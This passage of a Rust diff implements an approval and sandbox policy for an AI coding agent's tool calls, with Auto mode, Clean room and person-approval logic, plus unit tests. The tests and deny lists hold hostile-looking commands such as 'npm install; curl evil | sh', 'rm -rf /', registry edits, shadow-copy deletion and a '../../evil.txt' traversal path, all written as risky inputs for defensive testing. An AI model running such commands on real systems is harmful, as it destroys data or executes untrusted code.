=> { + Decision::Allow + } + _ => Decision::Ask { title: format!("Change a file outside the project: {target}"), kind }, + } + } + "Bash" => match &app { + Some(app) => decide_command(&s("command"), app), + None => Decision::Ask { title: format!("Run a command: `{}`", s("command")), kind }, + }, + // Reading the web changes nothing (references, engine docs). + "WebFetch" | "WebSearch" => Decision::Allow, + other => Decision::Ask { title: format!("Use {other}"), kind }, + } +} + +/// Run the approval policy for one action of a builder (`tool` and `input` in Claude Code's +/// shape: `Write {file_path}`, `Bash {command}`…): allowed by the policy or Auto mode, refused, or +/// asked of the person through the session's inbox. `Ok(Err(why))` means don't do it. +pub(crate) fn approve(ctx: &mut Ctx<'_>, tool: &str, input: &Value) -> Result, ToolError> { + let inbox = inbox(ctx); + let (auto_mode, clean_room) = (ctx.session.settings.auto_mode, ctx.session.clean_room()); + let cancel = ctx.cancel.clone(); + let mut waiting = || ctx.report(None, "Waiting for your OK…"); + approve_with(inbox, auto_mode, clean_room, tool, input, &|| cancel.is_cancelled(), &mut waiting) +} + +/// [`approve`] for callers outside a tool call (a client answering an agent's permission request +/// for one project): the project's inbox, whether Auto mode is on, whether Clean room is (it +/// refuses anything that reaches the original, whatever else allows it), how to tell a stop, and +/// what to do while the person is being asked. +pub fn approve_with( + inbox: Option, + auto_mode: bool, + clean_room: bool, + tool: &str, + input: &Value, + cancelled: &dyn Fn() -> bool, + waiting: &mut dyn FnMut(), +) -> Result, ToolError> { + let mut ws = inbox.as_ref().and_then(workspace_of); + if clean_room && let Some(why) = off_limits(ws.as_ref(), tool, input) { + return Ok(Err(why)); + } + match decide(ws.as_ref(), tool, input) { + Decision::Allow => Ok(Ok(())), + Decision::Deny(m) => Ok(Err(m)), + // Auto mode: keep going; only what's never done unasked is refused, without stopping. + Decision::Ask { .. } if auto_mode => Ok(match never_unasked(ws.as_ref(), tool, input) { + Some(why) => Err(why), + None => Ok(()), + }), + Decision::Ask { title, kind } => { + let Some(inbox) = inbox else { + return Ok(Err("Nobody is available to approve this. Stay inside the project folder and use the build commands.".into())); + }; + let detail = serde_json::to_string_pretty(input).unwrap_or_default().chars().take(4000).collect::(); + waiting(); + Ok(match wait_for_approval(&inbox, ws.as_mut(), &title, &detail, &kind, cancelled)? { + Verdict::Yes => Ok(()), + Verdict::No(text) => { + Err(format!("The person said no{}. Find another way or ask them with core_person_ask.", text.map(|t| format!(": {t}")).unwrap_or_default())) + } + Verdict::NoAnswer => Err("No answer came in time, so this wasn't done. Continue without it if you can.".into()), + }) + } + } +} + +/// What a Clean room builder is told when it reaches for the original. +const OFF_LIMITS: &str = "Clean room: the original (its files, its folder, its pages and its code) is off limits. Work from capture/, reference/ and what the person tells you; if you need to look inside, say so and the person can switch on Deep mode."; + +/// Clean room: the builder's own tools keep away from the original. `Some(why)` refuses an action +/// that would read, list, change or run anything in a local target's folder (the project's own +/// folder excepted), or fetch a website target's pages. +pub fn off_limits(ws: Option<&Workspace>, tool: &str, input: &Value) -> Option { + let ws = ws?; + let s = |k: &str| input.get(k).and_then(Value::as_str).unwrap_or_default().to_string(); + let refused = match &ws.manifest.target { + crate::workspace::TargetRef::Local { path } => { + // The original and, when it's one file, the folder it sits in. + let root = if path.is_file() { path.parent().unwrap_or(path) } else { path.as_path() }; + let touches = |p: &str| !p.is_empty() && resolve(&ws.root, p).is_some_and(|p| inside(root, &p) && !inside(&ws.root, &p)); + match tool { + "Read" | "Write" | "Edit" | "MultiEdit" => touches(&s("file_path")), + "NotebookRead" | "NotebookEdit" => touches(&s("notebook_path")), + "Glob" | "Grep" | "LS" => touches(&s("path")) || mentions(&s("pattern"), root) || mentions(&s("glob"), root), + "Bash" | "PowerShell" => mentions(&s("command"), root), + _ => false, + } + } + crate::workspace::TargetRef::Website { url } => match host_of(url) { + Some(host) => match tool { + "WebFetch" => host_of(&s("url")).is_some_and(|h| same_site(&h, &host)), + "Bash" | "PowerShell" => s("command").to_ascii_lowercase().contains(&host), + _ => false, + }, + None => false, + }, + crate::workspace::TargetRef::None => false, + }; + refused.then(|| OFF_LIMITS.to_string()) +} + +/// Whether `text` names `dir` in any of the ways a command could (either slash, any case, and +/// Git Bash's `/c/…` for `C:\…`). +fn mentions(text: &str, dir: &Path) -> bool { + let norm = |s: &str| s.to_lowercase().replace('\\', "/"); + let text = norm(text); + let d = norm(&dir.to_string_lossy()); + let d = d.trim_end_matches('/'); + if d.is_empty() { + return false; + } + let bash = d.split_once(":/").map(|(drive, rest)| format!("/{drive}/{rest}")); + text.contains(d) || bash.is_some_and(|b| text.contains(&b)) +} + +/// The host of an http(s) address, lower case, without a leading `www.`. +fn host_of(url: &str) -> Option { + let rest = url.trim().split_once("://")?.1; + let host = rest.split(['/', '?', '#']).next()?.rsplit('@').next()?.split(':').next()?.to_ascii_lowercase(); + let host = host.strip_prefix("www.").unwrap_or(&host).to_string(); + (!host.is_empty()).then_some(host) +} + +/// The same site: one host, or one inside the other (`app.example.com` and `example.com`). +fn same_site(a: &str, b: &str) -> bool { + a == b || a.ends_with(&format!(".{b}")) || b.ends_with(&format!(".{a}")) +} + +fn core_action_approve(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ApproveParams = parse_params(params)?; + Ok(match approve(ctx, &p.tool_name, &p.input)? { + Ok(()) => ToolOutput::Value(json!({"behavior": "allow", "updatedInput": p.input})), + Err(m) => ToolOutput::Value(json!({"behavior": "deny", "message": m})), + }) +} + +/// In Auto mode, what's still never done without the person: deleting outside the project, +/// changing system files or settings, shutting down, and publishing anywhere. `Some(why)` refuses it. +pub fn never_unasked(ws: Option<&Workspace>, tool: &str, input: &Value) -> Option { + let s = |k: &str| input.get(k).and_then(Value::as_str).unwrap_or_default().to_string(); + let refuse = |what: &str| Some(format!("Auto mode never {what} without the person. Find another way, or leave it and say so in your summary.")); + match tool { + "Write" | "Edit" | "MultiEdit" | "NotebookEdit" => { + let target = if tool == "NotebookEdit" { s("notebook_path") } else { s("file_path") }; + let p = resolve(ws.map(|w| w.root.clone()).as_deref().unwrap_or(Path::new("/")), &target)?; + let system = SYSTEM_DIRS.iter().any(|d| inside(Path::new(d), &p)); + // The inbox (where answers are written), the manifest and the other records stay out of reach. + let ours = ws.is_some_and(|w| w.is_own_record(&p)); + (system || ours).then(|| refuse("changes system files or REI Reverse Engineer's own records")).flatten() + } + "Bash" | "PowerShell" => { + let c = s("command").to_ascii_lowercase(); + if PUBLISH.iter().any(|k| c.contains(k)) { + return refuse("publishes or pushes anything"); + } + if SYSTEM_COMMANDS.iter().any(|k| c.contains(k)) { + return refuse("changes the system, its settings or its users, or shuts it down"); + } + if DELETES.iter().any(|k| c.contains(k)) && deletes_outside(&c, ws) { + return refuse("deletes anything outside the project or the temp folder"); + } + None + } + _ => None, + } +} + +const SYSTEM_DIRS: &[&str] = + &["C:/Windows", "C:/Program Files", "C:/Program Files (x86)", "C:/ProgramData", "/etc", "/usr", "/bin", "/sbin", "/System", "/Library"]; +const PUBLISH: &[&str] = &["git push", "npm publish", "cargo publish", "gh release", "gh pr ", "gh repo", "twine upload", "docker push"]; +const SYSTEM_COMMANDS: &[&str] = &[ + "shutdown", + "restart-computer", + "stop-computer", + "format-volume", + "format c:", + "diskpart", + "bcdedit", + "reg add", + "reg delete", + "reg import", + "-path hk", + "-path 'hk", + "-path \"hk", + "remove-itemproperty", + "set-executionpolicy", + "netsh", + "sc delete", + "sc config", + "takeown", + "icacls", + "cipher /w", + "vssadmin", + "schtasks /create", + "net user", + "net localgroup", + "runas ", + "sudo ", + "set-mppreference", + "disable-netadapter", +]; +const DELETES: &[&str] = &["rm ", "rmdir", "rd /s", "del ", "erase ", "remove-item", "ri ", "unlink "]; + +/// Whether a deleting command reaches outside the project folder (and the temp folder): any +/// absolute, home-relative or climbing path that isn't inside them. +fn deletes_outside(command: &str, ws: Option<&Workspace>) -> bool { + let temp = std::env::temp_dir(); + let roots: Vec = ws.map(|w| w.root.clone()).into_iter().chain([temp, PathBuf::from("/tmp"), PathBuf::from("c:/tmp")]).collect(); + command.split(|c: char| c.is_whitespace() || c == '"' || c == '\'').any(|tok| { + if tok.contains("..") || tok.starts_with('~') || tok.contains("$home") || tok.contains("%userprofile%") || tok.contains("$env:") { + return true; + } + // Git Bash writes C:\x as /c/x. + let tok = tok.strip_prefix("/c/").map(|r| format!("c:/{r}")).unwrap_or_else(|| tok.to_string()); + let absolute = tok.starts_with('/') || tok.get(1..3).is_some_and(|d| d == ":/" || d == ":\\"); + absolute && !roots.iter().any(|r| inside(r, Path::new(&tok))) + }) +} + +/// What the person said to an approval card. +pub(crate) enum Verdict { + Yes, + /// No, with what they typed, if anything. + No(Option), + NoAnswer, +} + +/// Show an approval card and wait for the answer. "Always for this project" is remembered in the +/// workspace as `kind`, so the same kind of action isn't asked about again. +pub(crate) fn ask_approval(ctx: &mut Ctx<'_>, inbox: &Inbox, ws: Option<&mut Workspace>, title: &str, detail: &str, kind: &str) -> Result { + ctx.report(None, "Waiting for your OK…"); + let cancel = ctx.cancel.clone(); + wait_for_approval(inbox, ws, title, detail, kind, &|| cancel.is_cancelled()) +} + +fn wait_for_approval( + inbox: &Inbox, + ws: Option<&mut Workspace>, + title: &str, + detail: &str, + kind: &str, + cancelled: &dyn Fn() -> bool, +) -> Result { + let id = inbox.post(RequestKind::Approval, title, detail, Vec::new(), false, Some(kind.to_string()))?; + Ok(match inbox.wait(&id, WAIT, cancelled) { + Some(a) if a.allow == Some(true) => { + if a.always + && let Some(w) = ws + { + let _ = w.set_person(|m| { + if !m.allowed_actions.iter().any(|k| k == kind) { + m.allowed_actions.push(kind.to_string()); + } + }); + } + Verdict::Yes + } + Some(a) => Verdict::No(a.text), + None => Verdict::NoAnswer, + }) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::workspace::TargetRef; + + fn ws() -> (tempfile::TempDir, Workspace) { + let dir = tempfile::tempdir().unwrap(); + let w = Workspace::create(dir.path(), "t", "r", TargetRef::None).unwrap(); + (dir, w) + } + + #[test] + fn approval_outside_a_tool_call_follows_the_same_policy() { + let (_d, w) = ws(); + let inbox = || Some(Inbox::new(w.inbox_dir())); + let inside = json!({"file_path": w.app_dir().join("main.rs").display().to_string()}); + let mut asked = false; + assert_eq!(approve_with(inbox(), false, false, "Write", &inside, &|| false, &mut || asked = true).unwrap(), Ok(())); + assert!(!asked, "allowed by the policy without asking"); + // Outside the project in Auto mode: allowed without asking; with nobody to ask: refused. + let outside = json!({"file_path": "/elsewhere/notes.txt"}); + assert_eq!(approve_with(inbox(), true, false, "Write", &outside, &|| false, &mut || {}).unwrap(), Ok(())); + assert!(approve_with(None, false, false, "Write", &outside, &|| false, &mut || {}).unwrap().is_err()); + } + + #[test] + fn clean_room_keeps_the_builder_away_from_the_original() { + let dir = tempfile::tempdir().unwrap(); + let game = dir.path().join("Games").join("Some Game"); + std::fs::create_dir_all(&game).unwrap(); + let w = Workspace::create(&dir.path().join("projects"), "g", "Recreate this game", TargetRef::Local { path: game.clone() }).unwrap(); + let inbox = || Some(Inbox::new(w.inbox_dir())); + let file = |p: &std::path::Path| json!({"file_path": p.join("data.ini").display().to_string()}); + let refused = |tool: &str, input: &Value| approve_with(inbox(), true, true, tool, input, &|| false, &mut || {}).unwrap().is_err(); + assert!(refused("Read", &file(&game)), "its files are off limits, even in Auto mode"); + assert!(refused("Glob", &json!({"path": game.display().to_string(), "pattern": "**/*"}))); + assert!(refused("Grep", &json!({"pattern": "speed", "path": game.display().to_string()}))); + let shown = game.display().to_string(); + assert!(refused("Bash", &json!({"command": format!("strings \"{shown}/Game.exe\" | head")}))); + assert!(refused("Bash", &json!({"command": format!("cat {}", shown.replace('\\', "/").to_uppercase())})), "any spelling of its folder"); + assert!(!refused("Read", &file(&w.app_dir())), "the project stays open"); + assert_eq!(approve_with(inbox(), true, false, "Read", &file(&game), &|| false, &mut || {}).unwrap(), Ok(()), "Deep mode may read it"); + + let site = + Workspace::create(&dir.path().join("projects"), "s", "Recreate this website", TargetRef::Website { url: "https://www.Example.com/pricing".into() }) + .unwrap(); + let fetch = |url: &str| off_limits(Some(&site), "WebFetch", &json!({"url": url})).is_some(); + assert!(fetch("https://example.com/") && fetch("http://app.example.com/x?y") && fetch("https://WWW.EXAMPLE.COM")); + assert!(!fetch("https://fonts.googleapis.com/css2?family=Inter"), "other sites are fine"); + assert!(off_limits(Some(&site), "Bash", &json!({"command": "curl -s https://example.com/robots.txt"})).is_some()); + assert!(off_limits(Some(&site), "Bash", &json!({"command": "npm run build"})).is_none()); + assert_eq!((host_of("https://user@Shop.Test:8443/a"), host_of("not a url")), (Some("shop.test".into()), None)); + } + + #[test] + fn edits_inside_app_are_allowed_outside_asked() { + let (_d, w) = ws(); + let inside = w.app_dir().join("src/App.tsx"); + assert_eq!(decide(Some(&w), "Write", &json!({"file_path": inside.display().to_string()})), Decision::Allow); + let sneaky = format!("{}/../../evil.txt", w.app_dir().display()); + assert!(matches!(decide(Some(&w), "Edit", &json!({"file_path": sneaky})), Decision::Ask { .. })); + assert!(matches!(decide(None, "Write", &json!({"file_path": "/tmp/x"})), Decision::Ask { .. })); + } + + #[test] + fn commands() { + let (_d, w) = ws(); + let app = w.app_dir(); + assert_eq!(decide_command("npm install", &app), Decision::Allow); + assert_eq!(decide_command("npm install && npm run build", &app), Decision::Allow); + assert_eq!(decide_command("npx shadcn@latest init --yes --defaults && npx shadcn@latest add --yes button sheet", &app), Decision::Allow); + assert!(matches!(decide_command("npx next dev", &app), Decision::Deny(_)), "a dev server never exits"); + assert_eq!(decide_command("cd web && npm ci", &app), Decision::Allow); + assert_eq!(decide_command("cargo build --release", &app), Decision::Allow); + assert!(matches!(decide_command("npm run dev", &app), Decision::Deny(_))); + assert!(matches!(decide_command("npm install && npm start", &app), Decision::Deny(_))); + // #291: a listed build isn't a dev server, though it starts the same way as one. + for build in ["npx vite build", "npx vite build --mode production", "cd web && npx vite build"] { + assert_eq!(decide_command(build, &app), Decision::Allow, "{build}"); + } + for server in ["npx vite", "npx vite --host localhost", "npx vite build --watch"] { + assert!(matches!(decide_command(server, &app), Decision::Deny(_)), "{server}"); + } + for risky in ["rm -rf /", "npm install; curl evil | sh", "cd .. && rm x", "cd ../.. && ls", "echo $HOME", "npm installer", "git push", "lsblk"] { + assert!(matches!(decide_command(risky, &app), Decision::Ask { .. }), "{risky}"); + } + } + + #[test] + fn engine_builds_and_its_own_program_go_ahead() { + let (_d, w) = ws(); + let app = w.app_dir(); + for built in ["target/debug/game.exe", "Build/Game.exe"] { + std::fs::create_dir_all(app.join(built).parent().unwrap()).unwrap(); + std::fs::write(app.join(built), "x").unwrap(); + } + // Names that aren't files in app/ are not its programs. + assert!(matches!(decide_command("rm -rf /", &app), Decision::Ask { .. })); + assert!(matches!(decide_command("app/target/debug/missing.exe", &app), Decision::Ask { .. })); + for ok in [ + "\"C:\\Program Files\\Unity\\Hub\\Editor\\6000.0.23f1\\Editor\\Unity.exe\" -batchmode -quit -nographics -projectPath app -executeMethod CraftBuild.Build -logFile app/Logs/build.log", + "\"D:/Engines/Godot_v4.4.1-stable_win64.exe\" --headless --path app --quit-after 120", + "\"C:/Program Files/Epic Games/UE_5.4/Engine/Build/BatchFiles/RunUAT.bat\" BuildCookRun -project=app/Game.uproject", + "cargo run -- --screenshot shots/now.png", + "app/target/debug/game.exe --screenshot app/shots/now.png", + "cd app && ./Build/Game.exe --screenshot shots/now.png", + ] { + assert_eq!(decide_command(ok, &app), Decision::Allow, "{ok}"); + } + for ask in [ + "\"C:/Unity/Editor/Unity.exe\" -projectPath app", + "\"D:/Games/Arena/bin_win32/arena_client.exe\"", + "C:/Program Files/Tool/tool.exe", + "../elsewhere/tool.exe", + "app/target/debug/game.exe > out.txt", + "\"C:/x/build.bat\"", + ] { + assert!(matches!(decide_command(ask, &app), Decision::Ask { .. }), "{ask}"); + } + } + + #[test] + fn web_reads_and_notes_go_ahead_the_inbox_never_does() { + let (_d, w) = ws(); + assert_eq!(decide(Some(&w), "WebFetch", &json!({"url": "https://docs.godotengine.org"})), Decision::Allow); + assert_eq!(decide(Some(&w), "WebSearch", &json!({"query": "unity batchmode build"})), Decision::Allow); + let note = w.checks_dir().join("round-1/notes.md"); + assert_eq!(decide(Some(&w), "Write", &json!({"file_path": note.display().to_string()})), Decision::Allow); + for off in [w.inbox_dir().join("1.answer.json"), w.root.join("craft.json"), w.root.join("reference/picture-1.png")] { + assert!(matches!(decide(Some(&w), "Write", &json!({"file_path": off.display().to_string()})), Decision::Ask { .. }), "{off:?}"); + } + } + + #[test] + fn remembered_kinds_and_reads() { + let (_d, mut w) = ws(); + let cmd = json!({"command": "lsblk"}); + assert!(matches!(decide(Some(&w), "Bash", &cmd), Decision::Ask { .. })); + w.manifest.allowed_actions.push("bash:lsblk".into()); + assert_eq!(decide(Some(&w), "Bash", &cmd), Decision::Allow, "\"always for this project\" is remembered"); + assert_eq!(decide(None, "Read", &json!({})), Decision::Allow); + } + + #[test] + fn approval_round_trip_through_the_inbox() { + let (_d, w) = ws(); + let e = std::sync::Arc::new(crate::Engine::new(crate::testing::session())); + // Asking is what Auto mode switches off. + e.session().settings.auto_mode = false; + e.session().ext.insert(std::sync::Arc::new(InboxDir(w.inbox_dir()))); + let inbox = Inbox::new(w.inbox_dir()); + let answerer = std::thread::spawn(move || { + for _ in 0..100 { + if let Some(r) = inbox.pending().first() { + assert!(r.title.contains("git push")); + inbox.answer(&r.id, &crate::inbox::Answer { allow: Some(true), always: true, ..Default::default() }).unwrap(); + return; + } + std::thread::sleep(Duration::from_millis(50)); + } + panic!("no request arrived"); + }); + let out = + e.call("core_action_approve", json!({"tool_name": "Bash", "input": {"command": "git push"}}), crate::CallOptions::new(crate::Caller::Mcp)).unwrap(); + answerer.join().unwrap(); + let v = out.to_json(); + assert_eq!(v["result"]["behavior"], "allow"); + assert_eq!(v["result"]["updatedInput"]["command"], "git push"); + let reopened = Workspace::open(&w.root).unwrap(); + assert!(reopened.manifest.allowed_actions.contains(&"bash:git".to_string()), "always-allow is remembered"); + // Without an inbox, a question is a clear, actionable error. + let e2 = crate::Engine::new(crate::testing::session()); + e2.session().settings.auto_mode = false; + let err = e2.call("core_person_ask", json!({"question": "Blue or red?"}), crate::CallOptions::new(crate::Caller::Mcp)).err().unwrap(); + assert!(err.remediation.unwrap_or_default().contains("sensible choice")); + } + + #[test] + fn a_projects_choice_decides_whether_questions_reach_the_person() { + let (_d, w) = ws(); + let e = crate::Engine::new(crate::testing::session()); + e.session().ext.insert(std::sync::Arc::new(InboxDir(w.inbox_dir()))); + let call = |id: &str, p: Value| e.call(id, p, crate::CallOptions::new(crate::Caller::Mcp)).unwrap().to_json()["result"].clone(); + let ask = || call("core_person_ask", json!({"question": "Blue or red?", "choices": ["Blue", "Red"]})); + // Auto mode is on and nothing is chosen: the builder decides, and says so. + let read = call("project_questions_set", json!({"project": w.root})); + assert_eq!((read["questions"].as_str(), read["chosen"].is_null()), (Some("decide"), true)); + let decided = ask(); + assert_eq!(decided["answered"], false); + assert!(decided["note"].as_str().unwrap().contains("I decided:")); + assert!(Inbox::new(w.inbox_dir()).pending().is_empty(), "nobody was asked"); + + // "Ask me" for this project: the question waits for the person, even with Auto mode on. + assert_eq!(call("project_questions_set", json!({"project": w.root, "mode": "ask"}))["questions"], "ask"); + assert_eq!(Workspace::open(&w.root).unwrap().manifest.questions, Some(Questions::Ask), "kept in craft.json"); + let inbox = Inbox::new(w.inbox_dir()); + let answerer = std::thread::spawn(move || { + for _ in 0..100 { + if let Some(r) = inbox.pending().first() { + inbox.answer(&r.id, &crate::inbox::Answer { choice: Some("Red".into()), ..Default::default() }).unwrap(); + return; + } + std::thread::sleep(Duration::from_millis(50)); + } + panic!("the question never reached the person"); + }); + let answered = ask(); + answerer.join().unwrap(); + assert_eq!((answered["answered"].as_bool(), answered["choice"].as_str()), (Some(true), Some("Red"))); + + // "Decide" for this project wins over an app that asks; "default" goes back to the app's. + e.session().settings.auto_mode = false; + call("project_questions_set", json!({"project": w.root, "mode": "decide"})); + assert_eq!(ask()["answered"], false); + let back = call("project_questions_set", json!({"project": w.root, "mode": "default"})); + assert_eq!((back["questions"].as_str(), back["chosen"].is_null(), back["app_default"].as_str()), (Some("ask"), true, Some("ask"))); + } + + #[test] + fn auto_mode_keeps_going_but_never_does_the_dangerous_things() { + let (_d, w) = ws(); + let e = crate::Engine::new(crate::testing::session()); + assert!(e.session().settings.auto_mode, "on by default"); + e.session().ext.insert(std::sync::Arc::new(InboxDir(w.inbox_dir()))); + let call = |tool: &str, input: Value| { + e.call("core_action_approve", json!({"tool_name": tool, "input": input}), crate::CallOptions::new(crate::Caller::Mcp)).unwrap().to_json() + }; + let root = w.root.display().to_string().replace('\\', "/"); + // Anything that used to ask now goes ahead, with nobody asked. + for cmd in ["python -I c:/tmp/dz5/props.py", "git clone https://example.com/x", &format!("rm -rf \"{root}/app/Build\""), "rm -rf ./Intermediate"] { + assert_eq!(call("Bash", json!({"command": cmd}))["result"]["behavior"], "allow", "{cmd}"); + } + assert_eq!(call("PowerShell", json!({"command": "Get-ChildItem D:/SteamLibrary"}))["result"]["behavior"], "allow"); + assert_eq!(call("Write", json!({"file_path": "C:/Users/me/Documents/Unreal Projects/Game/x.ini", "content": ""}))["result"]["behavior"], "allow"); + // These are refused, again without asking: the builder finds another way. + for cmd in [ + "git push origin main", + "rm -rf C:/Users/me/Documents", + "rm -rf ~/stuff", + "Remove-Item -Recurse $env:USERPROFILE\\x", + "reg add HKCU\\x", + "shutdown /s", + "npm publish", + ] { + let v = call("Bash", json!({"command": cmd})); + assert_eq!(v["result"]["behavior"], "deny", "{cmd}"); + assert!(v["result"]["message"].as_str().unwrap().contains("Auto mode never"), "{cmd}"); + } + let system_file = if cfg!(windows) { "C:/Windows/System32/x.dll" } else { "/etc/x.conf" }; + assert_eq!(call("Write", json!({"file_path": system_file, "content": ""}))["result"]["behavior"], "deny"); + assert_eq!(call("Edit", json!({"file_path": w.root.join("craft.json").display().to_string()}))["result"]["behavior"], "deny"); + assert!(Inbox::new(w.inbox_dir()).pending().is_empty(), "nothing waited for the person"); + // A question gets "decide yourself" at once. + let v = e.call("core_person_ask", json!({"question": "Blue or red?"}), crate::CallOptions::new(crate::Caller::Mcp)).unwrap().to_json(); + assert_eq!(v["result"]["answered"], false); + assert!(v["result"]["note"].as_str().unwrap().contains("decide questions yourself")); + } + + #[test] + fn a_project_edited_in_place_can_change_its_files_but_not_craft_anythings_records() { + let d = tempfile::tempdir().unwrap(); + std::fs::write(d.path().join("index.html"), "

hi

").unwrap(); + let w = Workspace::create_at(d.path(), "Site", "x", TargetRef::None, Some(crate::workspace::ExistingFiles::Edit)).unwrap(); + let file = |rel: &str| json!({"file_path": w.root.join(rel).display().to_string()}); + assert_eq!(decide(Some(&w), "Edit", &file("index.html")), Decision::Allow); + assert_eq!(decide(Some(&w), "Write", &file("src/app.js")), Decision::Allow); + assert_eq!(decide(Some(&w), "Write", &file("checks/round-1/notes.md")), Decision::Allow); + for own in ["craft.json", "inbox/a.json", "feed.json"] { + assert!(matches!(decide(Some(&w), "Write", &file(own)), Decision::Ask { .. }), "{own}"); + } + } +} diff --git a/desktop/crates/engine/src/tools/investigation_tools.rs b/desktop/crates/engine/src/tools/investigation_tools.rs new file mode 100644 index 0000000..3202473 --- /dev/null +++ b/desktop/crates/engine/src/tools/investigation_tools.rs @@ -0,0 +1,639 @@ +//! Investigation memory: brief, plan, hypotheses, findings and handoff, plus the journal reader. +//! +//! With a project open these live in `/investigation/` as `state.json` (the structured +//! source of truth, revisioned) and readable Markdown renders (`brief.md`, `plan.md`, +//! `hypotheses.md`, `findings.md`, `handoff.md`). Without a project they live in the session only. +//! Any agent (ours or an external one over MCP) keeps them current so long investigations survive +//! context limits, restarts and handoffs between agents. + +use crate::journal; +use crate::project::write_atomic; +use crate::session::Session; +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, empty_schema, parse_params, schema_of}; +use craft_anything_evidence::{Confidence, ErrorCode, ToolError}; +use craft_anything_platform::sync::Mutex; +use schemars::JsonSchema; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; +use std::path::PathBuf; +use std::sync::{Arc, PoisonError}; + +pub fn specs() -> Vec { + let w = Effects::MUTATES_SESSION.union(Effects::WRITES_FILESYSTEM); + vec![ + ToolSpec { + id: "core_investigation_show", + title: "Investigation so far", + summary: "The working memory of this investigation: brief, plan with step status, hypotheses, findings (with evidence ids) and the latest handoff. Read it first when starting or resuming.", + beginner: "See what we're trying to find out, the plan, and what we know so far.", + toolset: Toolset::Core, + effects: Effects::READ_ONLY, + requires: Requires::Nothing, + input_schema: empty_schema, + run: core_investigation_show, + }, + ToolSpec { + id: "core_brief_write", + title: "Write the brief", + summary: "Set the investigation brief: the question, purpose, targets, constraints and what 'done' means. Write it before the first analysis call on a new question.", + beginner: "Write down the question we're answering and what a good answer looks like.", + toolset: Toolset::Core, + effects: w, + requires: Requires::Nothing, + input_schema: schema_of::, + run: core_brief_write, + }, + ToolSpec { + id: "core_plan_update", + title: "Update the plan", + summary: "Replace the plan with a numbered list of steps, each todo/doing/done/blocked with a short why. Pass based_on_revision to avoid overwriting someone else's update.", + beginner: "Update the step-by-step plan.", + toolset: Toolset::Core, + effects: w, + requires: Requires::Nothing, + input_schema: schema_of::, + run: core_plan_update, + }, + ToolSpec { + id: "core_hypothesis_record", + title: "Record a hypothesis", + summary: "Record a claim being tested, ideally with the prediction that would confirm or refute it, plus any supporting/contradicting evidence ids.", + beginner: "Write down a guess we're going to check.", + toolset: Toolset::Core, + effects: w, + requires: Requires::Nothing, + input_schema: schema_of::, + run: core_hypothesis_record, + }, + ToolSpec { + id: "core_hypothesis_update", + title: "Update a hypothesis", + summary: "Change a hypothesis's status (testing/supported/refuted/abandoned) and attach supporting or contradicting evidence ids and notes.", + beginner: "Mark a guess as confirmed, wrong, or still being checked.", + toolset: Toolset::Core, + effects: w, + requires: Requires::Nothing, + input_schema: schema_of::, + run: core_hypothesis_update, + }, + ToolSpec { + id: "core_finding_record", + title: "Record a finding", + summary: "Record a settled answer. Requires at least one evidence id; every id is checked against the ledger. Findings are the source for reports.", + beginner: "Save something we now know for sure, with the proof.", + toolset: Toolset::Core, + effects: w, + requires: Requires::Nothing, + input_schema: schema_of::, + run: core_finding_record, + }, + ToolSpec { + id: "core_handoff_write", + title: "Write the handoff", + summary: "Rewrite the handoff note: where we are, what's next, traps to avoid. Write it at the end of every turn so the next turn (or agent) resumes without re-deriving.", + beginner: "Leave a note so we can pick up exactly where we left off.", + toolset: Toolset::Core, + effects: w, + requires: Requires::Nothing, + input_schema: schema_of::, + run: core_handoff_write, + }, + ToolSpec { + id: "core_journal_read", + title: "Read the journal", + summary: "Page through the project's append-only journal (tool calls, model turns, consents, errors), filtered by day, kind or tool. Needs an open project.", + beginner: "See a log of everything that happened in this project.", + toolset: Toolset::Core, + effects: Effects::READ_ONLY, + requires: Requires::Nothing, + input_schema: schema_of::, + run: core_journal_read, + }, + ] +} + +// ---- state ---- + +#[derive(Debug, Clone, Default, PartialEq, Serialize, Deserialize, JsonSchema)] +pub struct Brief { + pub question: String, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub purpose: Option, + #[serde(default)] + pub targets: Vec, + #[serde(default)] + pub constraints: Vec, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub done_when: Option, +} + +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Serialize, Deserialize, JsonSchema)] +#[serde(rename_all = "snake_case")] +pub enum StepStatus { + #[default] + Todo, + Doing, + Done, + Blocked, +} + +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, JsonSchema)] +pub struct PlanStep { + pub title: String, + #[serde(default)] + pub status: StepStatus, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub why: Option, +} + +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Serialize, Deserialize, JsonSchema)] +#[serde(rename_all = "snake_case")] +pub enum HypothesisStatus { + #[default] + Testing, + Supported, + Refuted, + Abandoned, +} + +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +pub struct Hypothesis { + pub id: String, + pub claim: String, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub prediction: Option, + pub status: HypothesisStatus, + #[serde(default)] + pub supporting: Vec, + #[serde(default)] + pub contradicting: Vec, + #[serde(default)] + pub notes: Vec, +} + +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +pub struct Finding { + pub id: String, + pub statement: String, + pub evidence_ids: Vec, + pub confidence: Confidence, +} + +#[derive(Debug, Clone, Default, PartialEq, Serialize, Deserialize)] +pub struct Investigation { + pub revision: u64, + #[serde(default)] + pub brief: Option, + #[serde(default)] + pub plan: Vec, + #[serde(default)] + pub hypotheses: Vec, + #[serde(default)] + pub findings: Vec, + #[serde(default)] + pub handoff: Option, + #[serde(default)] + pub updated: Option, +} + +type Slot = Mutex; + +fn dir(session: &Session) -> Option { + session.project.as_ref().map(|p| p.root.join("investigation")) +} + +/// The current investigation state (from the project when one is open, else the session). +pub fn load(session: &Session) -> Investigation { + if let Some(d) = dir(session) { + return std::fs::read(d.join("state.json")).ok().and_then(|b| serde_json::from_slice(&b).ok()).unwrap_or_default(); + } + session.ext.get::().map(|s| s.lock().unwrap_or_else(PoisonError::into_inner).clone()).unwrap_or_default() +} + +fn save(session: &mut Session, mut inv: Investigation) -> Result { + inv.revision = inv.revision.saturating_add(1); + let (_, date, time) = journal::now_utc(); + inv.updated = Some(format!("{date}T{time}Z")); + if let Some(d) = dir(session) { + let text = serde_json::to_vec_pretty(&inv).map_err(|e| ToolError::internal(e.to_string()))?; + write_atomic(&d.join("state.json"), &text)?; + for (name, body) in render(&inv) { + 